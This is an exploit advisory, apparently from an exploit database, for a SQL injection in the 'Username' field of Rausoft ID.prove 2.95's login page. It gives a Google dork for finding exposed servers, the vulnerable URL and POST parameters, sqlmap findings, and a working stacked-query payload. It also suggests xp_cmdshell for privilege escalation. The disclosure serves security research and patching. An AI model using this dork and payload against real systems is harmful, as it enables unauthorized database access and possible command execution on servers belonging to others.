Rausoft ID.prove 2.95 - 'Username' SQL injection

# Exploit Title: Rausoft ID.prove 2.95 - 'Username' SQL injection
# Google Dork: inurl:IdproveWebclient
# Date: 2018-09-26
# Exploit Author: Ilya Timchenko, Mercedes pay S.A.
# Vendor Homepage: https://www.idprove.de
# Software Link: https://www.idprove.de/english/index.php?option=com_content&view=article&id=17&Itemid=3
# Version: 2.95
# Tested on: Windows 2016
# CVE : N/A
# Description: An issue was discovered in Rausoft ID.prove 2.95. The login page with a field "Username"
# https://<<FQDN>>/IdproveWebclient/Account/Login?ReturnUrl=%2fIdproveWebclient%2fEinzelsuche --data="__RequestVerificationToken=<<dynamic_token_value>>&Username=a&PasswordTemp=a"
# is vulnerable to the SQL injection via Microsoft SQL Server stacked queries in the Username POST parameter.
# Hypothetically, an attacker can utilize master..xp_cmdshell for the further privilege elevation.

# SQLmap output:
# Parameter: #1* ((custom) POST)
# Type: stacked queries
# Title: Microsoft SQL Server/Sybase stacked queries (comment)

Payload: __RequestVerificationToken=<<dynamic_token_value>>&Username=a';WAITFOR DELAY '0:0:5'--&PasswordTemp=a